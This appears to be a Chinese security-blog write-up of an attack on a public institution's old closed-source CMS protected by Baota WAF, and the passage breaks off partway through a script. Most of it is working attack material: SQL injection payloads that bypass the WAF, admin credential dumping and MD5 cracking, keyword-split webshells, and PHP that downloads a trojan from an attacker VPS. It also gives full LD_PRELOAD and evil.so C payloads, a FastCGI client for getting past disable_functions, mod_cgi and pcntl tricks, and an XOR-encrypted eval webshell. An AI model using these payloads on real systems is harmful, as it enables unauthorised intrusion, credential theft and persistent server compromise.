0x01 简介
某事业单位老旧闭源 CMS 完整渗透实战,目标部署宝塔免费 WAF,防护存在明显短板。通过注册用户发现 id 参数可控,采用 %0a 换行、十六进制字符编码绕过拦截完成报错注入,爆破后台管理员账号并解密 MD5 密码。成功登录后台后,拆分关键字绕过代码过滤写入 Webshell,再借助 curl 远程落地木马,LD_PRELOAD、FPM、open_basedir、disable_functions 多重绕过手段,完整还原从注入到获取系统 Shell 的全攻击链路。
本文仅用于技术学习与合规交流,严禁非法滥用。因违规使用产生的一切后果,由使用者自行承担,与作者无关。
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo"设为星标",否则可能就看不到了啦!****
末尾可领取挖洞资料/加圈子 #渗透安全HackTwo
0x02 正文详情
起因
事业单位,用了一个cms,看着年久失修,而且cms不开源,相关漏洞比较少,还可能捡几个通杀
事业单位的防御还是有的,不太好测试,就先在fofa找一个没有防御的同款网站尝试
低防状态下的渗透
进入网站,大多是静态页面,主要是这些功能

存在注册功能,那就注册一个用户,登陆后看到还是有很多功能的,点点点
找到一个可疑点,id参数可控,而且在其它数据包里没有出现过这个字段
正常的包

尝试下报错注入
id=0 and updatexml(1, concat(0x7e, database(), 0x7e), 1);

宝塔免费版,那就绕过一下,模糊测试了很多都没被封,免费版的waf还是很温和的
最终用%0a绕过匹配
id=0 and update%0axml(1, concat(0x7e, dat%0aabase(), 0x7e), 1);
成功报错,而且语句都抛了出来

找叫admin的表,这些表的价值比较高,通配符%要编码,不然就把%ad当url编码了
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like '{{urlenc(%admin%)}}' limit 0,1), 0x7e), 1);

报错了,根据抛出的语句发现是单引号被过滤了,不抛出我都想不到,那就用十六进制绕
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like 0x2561646d696e25 limit 0,1), 0x7e), 1);

成功爆出表名,继续爆字段名
id=0 and update%0xml(1, concat(0x7e, (sele%0ct column_name from informat%0ion_schema.columns where table_name=0x??? limit 0,1), 0x7e), 1);
再爆数据
id=0 and update%0xml(1, concat(0x7e, (sele%0ct username,password from _admin limit 0,1), 0x7e), 1);
老旧系一般都是用md5加密存的密码,放到网上破解下,这里贴几个我常用的破解网站
cmd5要收费的,有的用其它两个网站也能免费解出来
https://www.cmd5.com/https://toolshu.com/crackmd5https://pmd5.com/成功解密获得一套凭证星球CMD5免费
接下来就是找后台的登录地址了
这里犯了个错,一套cms的默认路径,一般都很少人会去改,但是在这里折腾了半小时也没在数据库翻到地址×
一般叫menu、route、conf、nav的这些表中会有记录
id=0 and update%0axml(1, concat(0x7e, (sele%0act table_name from informat%0aion_schema.tables where table_name like 0x??? limit {{int(0-10)}},1), 0x7e), 1);
搜下menu表,yakit自带的正则匹配,还是很好用的

无果√
网上搜索这个cms和登录两个字,直接冒出来了

看来还是挺多人用的
登入后台,翻遍所有功能,发现一个模块管理的地方,看着都是代码,就写个php代码进去,看看是不是能执行代码的地方

毫无疑问被拦,写入<? echo __FILE__;?>
然后将模块链接到页面中,在主站找到对应的页面,成功执行代码

那就绕一下连续的三个字符php,成功写入
<? $b = 'pinfo'; ('ph'.$b)();?>
那就绕一下连续的三个字符php,成功写入<? $b = 'pinfo'; ('ph'.$b)();?>

看到禁用函数还是很严格的,open_basedir也有限制,但是暴露了网站的根目录
尝试写Godzilla马进去,用他自带的功能绕过
直接写文件应该也会被拦,远程下载下来,正好也支持curl,或者编码写入

先测试能不能出网,宝塔也没有拦截这个
<?
$ch = curl_init('ymidqhn9.dns.adysec.com');
curl_exec($ch);
curl_close($ch);
?>

成功访问,下载vps的恶意文件到根目录或者uploads目录
vps主机起http服务python3 -m http.server 8088
<?
$url = 'http://???/test.php';
$localFile = '/www/wwwroot/???/uploads/c4ca4238a0b923820dcc509a6f75849b.php';
$ch = curl_init($url);
$fp = fopen($localFile, 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "Downloaded to: " . $localFile;
?>
也是安全落地,连接成功

Godzilla自带插件可以绕过disable_functions和open_basedir,下面介绍一下其中的原理
绕过Open_basedir
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。
设置open_basedir的方法:
在linux下,不同的目录由":"分割,如"/var/www/:/tmp/"
在Windows下不同目录由";"分割,如"c:/www;c:/windows/temp"
利用chdir与ini_set绕过

ini_set('open_basedir', '../');
设置Open_basedir为../成功的原因是当前在uploads目录,回退一层刚好回到网站目录下,而网站根目录是被允许的最大目录
如果当前就是在Open_basedir的最大目录下,那就要新建目录,chdir到新目录再设置Open_basedir为../
ini_set('open_basedir', '../../');
想设置为../../就没有用,因为回退一层已经到设置的根目录了,回退两层就到了/www/wwwroot/目录下,是不被允许的,所以没有设置成功
因为chdir存在漏洞,只看了Open_basedir的相对路径,所以一直回退,直到回退到/www目录
ini_set('open_basedir', '/'); // /www/../
设置Open_basedir为/成功的原因是用了相对路径来设置,当前路径已经是/www,而/www/../又是合法的路径,所以打破限制
可以看这个再来理解一遍

以此绕过了openbasedir限制
绕过disable_functions
配置错误
有了文件管理权限后,那就可以先去翻一下文件,在/tmp目录下找sock文件
因为当前有了php代码执行权限,就可以伪装成cgi_client与sock通信了
这里存在三个不同版本,那就去翻这三个版本的配置文件,看看有没有漏网之鱼


像这个54版本的过滤就宽松了很多,56跟72版本是一样严格的,有的话直接命令执行就好了,下面再一起介绍这种方法
网上有非常多方法
以这个蚁剑插件为例,主要是这几种方法
https://github.com/Medicean/as_bypass_php_disable_functions
|----|----------------------------|-------|
| # | 方式 | Linux |
| 1 | LD_PRELOAD | ✅ |
| 2 | FastCGI/PHP-FPM | ✅ |
| 3 | Apache mod_cgi | ✅ |
| 4 | JSON Serializer UAF | ✅ |
| 5 | GC UAF | ✅ |
| 6 | Backtrace UAF | ✅ |
| 7 | FFI | ✅ |
| 8 | iconv | ✅ |
| 9 | ReflectionProperty UAF | ✅ |
| 10 | UserFilter | ✅ |
| 11 | Concat UAF | ✅ |
UAF 系的共性:都是通过 PHP 内核 bug,在 GC/序列化/反射/流过滤/字符串操作过程中制造悬垂指针,然后统一走"堆喷射 → 泄露地址 → 伪造 <font style="color:rgb(59, 59, 59);">zend_closure.handler</font> → 调用 <font style="color:rgb(59, 59, 59);">zif_system</font>"这条路子(稳定性差些,版本敏感)
除掉其中的UAF,其实思想都是调用底层的c来绕过高层的php
LD_PRELOAD
原理
LD_PRELOAD 是 Linux 动态链接器的特性,允许在任意程序启动前优先加载指定的 .so 共享库。
PHP 的 disable_functions 只限制 PHP 层,当 mail() / error_log() 触发子进程(/usr/sbin/sendmail)时,子进程继承了被 putenv() 设置的 LD_PRELOAD 环境变量,子进程加载 .so → 构造函数自动执行 → 系统命令。
必要条件
-
Linux
-
putenv() 未被禁用
-
mail() 或 error_log() 可用(用于触发子进程)
-
磁盘可写(上传 .so)
-
系统安装 sendmail(若用 mail 触发)
攻击流程
Step 1:编写恶意 C 代码
// evil.c
#include
<stdlib.h>
#include
<string.h>
// 方式A:构造函数(加载即执行,不依赖函数劫持)
__attribute__ ((__constructor__)) void preload(void) {
const char *cmd = getenv("_CMD");
if (cmd) {
unsetenv("LD_PRELOAD"); // 防止循环触发
system(cmd);
}
}
<font style="color:rgb(59, 59, 59);backgroun
d-color:rgb(248, 248, 248);">gcc -Wall -fPIC -shared -nostartfiles -o evil.so evil.c -m64</font>
|-----------------|----------------------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| -Wall | 全部警告 | 显示所有编译警告信息(Warnings all),帮助发现潜在问题,如类型不匹配、未使用的变量等 |
| -fPIC | 位置无关代码 (Position Independent Code) | 生成与内存地址位置无关的机器码。这是构建共享库 (.so文件)必须的选项,允许多个进程共享同一份代码段,同时支持动态链接器在任意地址加载库 |
| -shared | 生成共享库 | 指示编译器生成一个动态链接库(.so,即 Shared Object),而不是普通的可执行文件(.exe或无后缀的二进制) |
| -nostartfiles | 不使用标准启动文件 | 链接时省略 标准系统启动文件(crt1.o, crti.o , crtbegin.o等)。默认情况下,这些文件会设置程序入口点 _start。对于共享库,通常不需要这些初始化代码,使用此标志可以避免潜在的符号冲突,让库更加"纯净" |
| -o evil.so | 输出文件名 | 指定编译后生成的输出文件名字为 evil.so |
| evil.c | 源文件 | 输入的 C 语言源代码文件 |
| -m64 | 64 位模式 | 强制生成 64 位的机器码。在 64 位系统上编译 64 位程序时使用,确保数据类型(如指针、long)按 64 位标准处理(8 字节) |
将so文件上传到/var/www/html/upload/evil.so
Step 2:PHP 触发
<?php
putenv("LD_PRELOAD=/var/www/html/upload/evil.so");
putenv("_CMD=id > /tmp/out.txt");
// 触发子进程方式:
mail("x@x.x", "", "", ""); // 调用 /usr/sbin/sendmail
// 或
error_log("test", 1, "x@x.x", ""); // 也会触发 sendmail
?>
在调用 /usr/sbin/sendmail前,会预加载evil.so文件,因为evil.so中的构造函数(加载即执行,不依赖函数劫持),就直接在c层执行了系统命令并且输出到了/tmp/out.txt文件中
这种方法不需要劫持函数,实用性更广,但是也可以劫持sendmail的调用函数
strings /usr/sbin/sendmail|grep uid看sendmail的调用函数

这里劫持geteuid函数,在sendmail运行到调用geteuid函数时就会调用我们写的函数而不是他的函数,就是在真实geteuid函数的基础上,加上命令执行代码,保证命令执行, 也保证sendmail 的正常运行
// evil.c
#include
<stdlib.h>
#include
<dlfcn.h>
typedef uid_t (*geteuid_t)(void);
uid_t geteuid(void) {
// 取真实 geteuid
geteuid_t real = (geteuid_t)dlsym(RTLD_NEXT, "geteuid");
// 仅首次触发
const char *cmd = getenv("_CMD");
if (cmd) {
unsetenv("LD_PRELOAD");
unsetenv("_CMD");
system(cmd);
}
// 返回真实 UID,不破坏 sendmail 逻辑
return real ? real() : 0;
}
gcc -Wall -fPIC -shared -o evil.so evil.c -m64 -ldl
-ldl 是 GCC 的链接选项,表示链接 **libdl**动态库(Dynamic Loader library)。
dlsym() 就是 libdl 提供的函数,所以编译时必须告诉链接器把 libdl 连进来,否则会报未定义引用的错误
像上面一样触发putenv("LD_PRELOAD=/var/www/html/upload/evil.so");
FastCGI/PHP-FPM
原理
PHP-FPM 监听在 Unix Socket 或 TCP Socket 上,接受 FastCGI 协议包。
协议中有 PHP_VALUE 和 PHP_ADMIN_VALUE 字段,可以动态覆盖 PHP 配置。
插件利用这个特性把 auto_prepend_file = php://input + allow_url_include = On 写进去(这种方式并不能绕过disable_functions,但是好像可以覆盖除了disable_functions之外的所有ini导致php代码执行)
或者直接让 FPM 加载一个恶意 .so 扩展(这个才能绕过disable_functions)
为什么可以覆盖allow_url_include但是不能覆盖disable_functions?
PHP 配置指令的四个访问级别:
|------------------|-----|------------------------------------------|
| 访问级别 | 含义 | 可设置的位置 |
| PHP_INI_USER | 用户级 | ini_set(), .user.ini, PHP 代码 |
| PHP_INI_PERDIR | 目录级 | .htaccess, php.ini, .user.ini |
| PHP_INI_SYSTEM | 系统级 | 仅 php.ini, httpd.conf, php-fpm pool 配置 |
| PHP_INI_ALL | 所有 | 以上所有位置 |
allow_url_include 和 disable_functions 都是 PHP_INI_SYSTEM
在 FastCGI 协议中,攻击者可以通过两个特殊参数来修改 PHP 配置:
-
PHP_VALUE:调用
zend_alter_ini_entry()时使用PHP_INI_STAGE_RUNTIME阶段,只能修改PHP_INI_ALL/PHP_INI_USER级别的指令 -
PHP_ADMIN_VALUE:调用
zend_alter_ini_entry()时使用PHP_INI_STAGE_HTACCESS阶段,可以修改包括PHP_INI_SYSTEM在内的所有级别指令
这就是脚本中用的关键参数:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
auto_prepend_file 是 PHP_INI_ALL 级别,用 PHP_VALUE 即可修改;
allow_url_include 是 PHP_INI_SYSTEM 级别,必须用 PHP_ADMIN_VALUE。
关键点:PHP_ADMIN_VALUE 确实能够把 allow_url_include 和 disable_functions 的值写入 PHP 的配置哈希表,但写入不等于生效
核心差异:on_modify 回调机制
PHP 的每个 INI 指令注册时都有一个 on_modify 回调函数。
当配置值被修改时,这个回调会被触发,负责执行实际的"生效"逻辑。
allow_url_include 的 on_modify 处理
// PHP 源码中 allow_url_include 的注册方式STD_PHP_INI_BOOLEAN("allow_url_include", "0", PHP_INI_SYSTEM, OnUpdateBool, ...)
on_modify 回调 = OnUpdateBool(标准的布尔值更新函数)
作用:当值被修改时,OnUpdateBool 将新值写入全局配置结构体 core_globals
PHP 在执行 include/require 时,实时读取这个全局变量来决定是否允许 php://input 等 URL wrapper
所以PHP_ADMIN_VALUE 修改了哈希表中的值 → OnUpdateBool 回调触发 → 全局变量被更新 → 运行时检查立即生效
disable_functions 的 on_modify 处理
// PHP 源码中 disable_functions 的注册方式STD_PHP_INI_ENTRY("disable_functions", "", PHP_INI_SYSTEM, NULL, ...)
on_modify 回调 = NULL ,没有任何回调函数被注册
当 PHP_ADMIN_VALUE 修改了 disable_functions 在哈希表中的值时,没有任何回调被触发,没有任何的改变,也就是为什么看到的disable_functions确实是空,但是却不能执行
disable_functions 的实际处理发生在 PHP 启动阶段:
PHP 启动流程:
-
解析 php.ini
-
注册所有 INI 指令
-
读取 disable_functions 的值
-
调用 zend_disable_functions()
-
从全局函数表(function_table)中物理删除被禁用的函数
-
启动完成,进入请求处理循环
zend_disable_functions() 做的事情是不可逆的:它直接从 PHP 的全局函数表中删除了被禁用函数的条目。比如 system()、exec()、shell_exec() 等函数的入口被永久移除
一旦函数从函数表中被删除,没有任何机制可以在运行时将它们重新注册回来
即便通过 PHP_ADMIN_VALUE 把 disable_functions 的值设为空字符串,只是改变了配置哈希表中的字符串值,但函数表中的条目已经不存在了,所以不可能执行成功
所以可以全部都写在PHP_ADMIN_VALUE里面,需要注意格式,每个间隔是换行
'PHP_ADMIN_VALUE' => "allow_url_include = On<font style="color:#DF2A3F;">\n</font>auto_prepend_file = php://input"
php代码执行
<?php
class FCGIClient {
private $sock;
function __construct($sock_path) {
$this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
if (!$this->sock) die("连接失败: $errstr\n");
stream_set_timeout($this->sock, 10);
}
private function encodeRecord($type, $content, $requestId) {
$length = strlen($content);
return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) .
chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
}
private function encodeNV($name, $value) {
$n = strlen($name);
$v = strlen($value);
$r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
$r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
return $r . $name . $value;
}
function request($params = array(), $stdin = '') {
$rid = rand(1, 65535);
fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
$ps = '';
foreach ($params as $k => $v) {
$ps .= $this->encodeNV($k, $v);
}
if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
fwrite($this->sock, $this->encodeRecord(4, '', $rid));
if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
fwrite($this->sock, $this->encodeRecord(5, '', $rid));
$out = '';
$err = '';
$end = false;
while (!feof($this->sock) && !$end) {
$h = fread($this->sock, 8);
if (strlen($h) < 8) break;
$t = ord($h[1]);
$cl = (ord($h[4]) << 8) | ord($h[5]);
$pl = ord($h[6]);
$c = '';
if ($cl > 0) {
$c = fread($this->sock, $cl);
$left = $cl - strlen($c);
while ($left > 0 && !feof($this->sock)) {
$c .= fread($this->sock, $left);
$left = $cl - strlen($c);
}
}
if ($pl > 0) fread($this->sock, $pl);
if ($t == 6) $out .= $c;
elseif ($t == 7) $err .= $c;
elseif ($t == 3) $end = true;
}
fclose($this->sock);
return array('out' => $out, 'err' => $err);
}
}
$payload = '<?php phpinfo();system("id"); ?>';
$fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
$r = $fcgi->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php',
'SCRIPT_NAME' => '/index.php',
'REQUEST_URI' => '/index.php',
'DOCUMENT_ROOT' => '/www/wwwroot/???',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($payload),
'PHP_VALUE' => 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input"
), $payload);
echo "=== OUTPUT ===\n";
echo $r['out'];
echo "\n=== ERROR ===\n";
echo $r['err'];
?>
94行的代码成功覆盖了php.ini中的值,disable_functions确实是空,但是也是不能命令执行


配置错误攻击
换了一台主机来演示,74版本的过滤不严格,而且存在 pcntl

使用pcntl_exec("/bin/sh", array("-c", "id > /tmp/id_result.txt 2>&1"))绕过
因为pcntl_exec会替换当前进程,后面再写代码不会再执行,所以执行完还要发一次读取/tmp/id_result.txt的请求
<?php
class FCGIClient {
private $sock;
function __construct($sock_path) {
$this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
if (!$this->sock) die("连接失败: $errstr\n");
stream_set_timeout($this->sock, 10);
}
private function encodeRecord($type, $content, $requestId) {
$length = strlen($content);
return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) .
chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
}
private function encodeNV($name, $value) {
$n = strlen($name);
$v = strlen($value);
$r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
$r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
return $r . $name . $value;
}
function request($params = array(), $stdin = '') {
$rid = rand(1, 65535);
fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
$ps = '';
foreach ($params as $k => $v) {
$ps .= $this->encodeNV($k, $v);
}
if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
fwrite($this->sock, $this->encodeRecord(4, '', $rid));
if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
fwrite($this->sock, $this->encodeRecord(5, '', $rid));
$out = '';
$err = '';
$end = false;
while (!feof($this->sock) && !$end) {
$h = fread($this->sock, 8);
if (strlen($h) < 8) break;
$t = ord($h[1]);
$cl = (ord($h[4]) << 8) | ord($h[5]);
$pl = ord($h[6]);
$c = '';
if ($cl > 0) {
$c = fread($this->sock, $cl);
$left = $cl - strlen($c);
while ($left > 0 && !feof($this->sock)) {
$c .= fread($this->sock, $left);
$left = $cl - strlen($c);
}
}
if ($pl > 0) fread($this->sock, $pl);
if ($t == 6) $out .= $c;
elseif ($t == 7) $err .= $c;
elseif ($t == 3) $end = true;
}
fclose($this->sock);
return array('out' => $out, 'err' => $err);
}
}
$fcgi = new FCGIClient('unix:///tmp/php-cgi-74.sock');
// 第一步:写入文件
$payload1 = '<?php pcntl_exec("/bin/sh", array("-c", "id > /tmp/result.txt 2>&1")); ?>';
$result1 = $fcgi->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/www/wwwroot/???/public/router.php',
'SCRIPT_NAME' => '/router.php',
'REQUEST_URI' => '/router.php',
'DOCUMENT_ROOT' => '/www/wwwroot/???/public',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($payload1),
'PHP_VALUE' => '',
'PHP_ADMIN_VALUE' => 'auto_prepend_file = php://input'
), $payload1);
$fcgi = new FCGIClient('unix:///tmp/php-cgi-74.sock');
$payload2 = '<?php echo file_exists("/tmp/result.txt") ? file_get_contents("/tmp/result.txt") : "文件不存在"; ?>';
$result2 = $fcgi->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/www/wwwroot/???/public/router.php',
'SCRIPT_NAME' => '/router.php',
'REQUEST_URI' => '/router.php',
'DOCUMENT_ROOT' => '/www/wwwroot/???/public',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($payload2),
'PHP_VALUE' => '',
'PHP_ADMIN_VALUE' => 'auto_prepend_file = php://input'
), $payload2);
echo "=== OUTPUT ===\n";
echo $result2['out'];
echo "\n=== ERROR ===\n";
echo $result2['err'];
?>
加载so拓展
插件中的是利用so文件进行命令执行,fpm加载拓展的时候执行了恶意so文件
插件的做法extension=evil.so

执行命令,新起一个服务器
let cmd = {phpbinary} -n -S 127.0.0.1:{port} -t ${webrootdir};
-n配置不用配置文件,也就没有任何disable_functions了
再上传代理脚本转发数据

为了简单,本地写一个简单的命令执行脚本测试
// evil.c
#include
<stdlib.h>
__attribute__((__constructor__)) void init(void) {
system("id > /tmp/id_result.txt 2>&1");
}
<font style="color:rgb(59, 59, 59);background-color:rgb(248, 248, 248);">gcc -Wall -fPIC -shared -nostartfiles -o evil.so evil.c -m64</font>
把so文件上传到/tmp目录下,拿上面的代码改下,偷点懒
<?php
class FCGIClient {
private $sock;
function __construct($sock_path) {
$this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
if (!$this->sock) die("连接失败: $errstr\n");
stream_set_timeout($this->sock, 10);
}
private function encodeRecord($type, $content, $requestId) {
$length = strlen($content);
return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) .
chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
}
private function encodeNV($name, $value) {
$n = strlen($name);
$v = strlen($value);
$r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
$r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
return $r . $name . $value;
}
function request($params = array(), $stdin = '') {
$rid = rand(1, 65535);
fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
$ps = '';
foreach ($params as $k => $v) {
$ps .= $this->encodeNV($k, $v);
}
if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
fwrite($this->sock, $this->encodeRecord(4, '', $rid));
if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
fwrite($this->sock, $this->encodeRecord(5, '', $rid));
$out = '';
$err = '';
$end = false;
while (!feof($this->sock) && !$end) {
$h = fread($this->sock, 8);
if (strlen($h) < 8) break;
$t = ord($h[1]);
$cl = (ord($h[4]) << 8) | ord($h[5]);
$pl = ord($h[6]);
$c = '';
if ($cl > 0) {
$c = fread($this->sock, $cl);
$left = $cl - strlen($c);
while ($left > 0 && !feof($this->sock)) {
$c .= fread($this->sock, $left);
$left = $cl - strlen($c);
}
}
if ($pl > 0) fread($this->sock, $pl);
if ($t == 6) $out .= $c;
elseif ($t == 7) $err .= $c;
elseif ($t == 3) $end = true;
}
fclose($this->sock);
return array('out' => $out, 'err' => $err);
}
}
$payload = '<?php echo file_get_contents("/tmp/id_result.txt");?>';
$fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
$r = $fcgi->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php',
'SCRIPT_NAME' => '/index.php',
'REQUEST_URI' => '/index.php',
'DOCUMENT_ROOT' => '/www/wwwroot/???',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($payload),
'PHP_VALUE' => 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input\nextension = /tmp/evil.so"
), $payload);
echo "=== OUTPUT ===\n";
echo $r['out'];
echo "\n=== ERROR ===\n";
echo $r['err'];
?>
主要是94行的extension = /tmp/evil.so加载恶意文件,导致命令执行,然后把结果读出来
成功命令执行

Apache mod_cgi
原理
Apache 的 mod_cgi/mod_cgid 模块让特定后缀的文件直接以 CGI 方式执行 (相当于直接 fork + exec),CGI 进程不受 PHP 的 disable_functions 约束,因为它根本不是 PHP 进程。
必要条件
- Apache 加载了
mod_cgi(LoadModule cgi_module)
-
AllowOverride All或
AllowOverride Options FileInfo(允许.htaccess覆盖)
- 当前目录可写
攻击流程
# 1. 写 .htaccess 开启 CGI
echo "Options +ExecCGI" > .htaccess
echo "AddHandler cgi-script .ant" >> .htaccess
# 2. 上传 CGI shell 脚本
echo '#!/bin/bash' > shell.ant
echo 'echo Content-Type: text/plain'
echo 'echo'
echo 'id; whoami; cat /flag' >> shell.ant
chmod +x shell.ant
# 3. 访问触发
curl http://target/upload/shell.ant
分析下插件代码

Options +ExecCGI\\nAddHandler cgi-script .ant
Options +ExecCGI 和 AddHandler 指令,将特定后缀(如 .ant)映射为 CGI 脚本
写.ant后缀的脚本,脚本中写入shebang#!/bin/sh,再访问.ant就会用sh来执行
简单复现下


会报错,因为执行结果不是正常的http响应,但是命令已经执行了,可以直接读取结果
或者伪装成响应


FFI
没有见过用这个拓展的php,了解一下好了
原理
PHP 7.4 引入 FFI 扩展,允许在 PHP 中直接声明和调用 C 函数
ffi.enable=true 时可以加载 libc.so.6 并直接调用 system(),完全绕过 PHP 层的函数禁用。
利用代码
<?php
// php_exec type=3 等同于 passthru(),直接输出到浏览器
$ffi = FFI::cdef("int php_exec(int type, char *cmd);");
$ffi->php_exec(3, "id");
?>
有点防状态下的渗透
依旧是宝塔waf

利用同一个接口,返回内容是403,状态码却是200,也没有语句抛出,尝试盲注

布尔盲注因为看不出返回的页面有什么差异,就用时间盲注
<font style="background-color:rgb(240,242,245);">id=9 and IF(1 = 1, sleep(3), 0);</font>
测试语句,发现成功了,没有拦截,轻车熟路,直接查admin表的username和password
此处也是非常痛苦,只能一个个字符注md5,并发直接延迟暴涨,而且有waf,线程设置为1,延迟很不稳定,所以每出几个就要验证一下
id=9 AND IF((SELECT username FROM ??? LIMIT 1) = 0x???, SLEEP(3), 0)id=9 AND IF(MID((SELECT password FROM ??? WHERE username = 0x??? LIMIT 1), 1, 32) = 0x???, SLEEP(6), 0)
不过运气还是好的,第一个md5就能直接解开了
登录到后台,写马,这时候就被拦住了,什么编码、拼接都被拦了,file_put_contents等等写文件被拦了
远程的curl也拦了,无奈去审一下代码,找到一处后台任意文件上传的地方,这些后台接口可能就没有waf

可以上传任意内容的文件,没有检测,但是文件落地秒删,那可能就是有edr了
那就分片落地再拼接执行或者落地加密后的文件,看看还能不能检测出来
分片落地
因为有waf,所以参数传递需要加密,否则肯定不能过waf
将木马分成几部分,主要不被杀就行了,把_POST等敏感词拆成_PO + ST两部分
运行时利用读取文件拼接,直接eval进内存里,应该可以躲避查杀(先用的加密落地,后面想回去尝试发现已经关服了)
加密落地
因为上传的phpinfo();有时访问不到,上传多几次

发现是slb到三台主机,而且不是轮询,控制起来比较麻烦,Godzilla马靠session维持payload,主机的session不互通,所以改用蚁剑连接

生成加密马和对应加密数据脚本
<?php
// 一句话:用 XOR 解密 POST 数据,再 eval
$code = <<<'PHPCODE'
$key = "3c6e0b8a9c15224a";
$enc = base64_decode($_POST['c']);
$cmd = "";
for($i=0; $i<strlen($enc); $i++) {
$cmd .= chr(ord($enc[$i]) ^ ord($key[$i % strlen($key)]));
}
if($cmd !== "") {
eval($cmd);
}
PHPCODE;
$secret = "7867e125de24a24ffe5d1262bf8fe485";
function xor_crypt($data, $key)
{
$out = '';
for ($i = 0; $i < strlen($data); $i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
}
return $out;
}
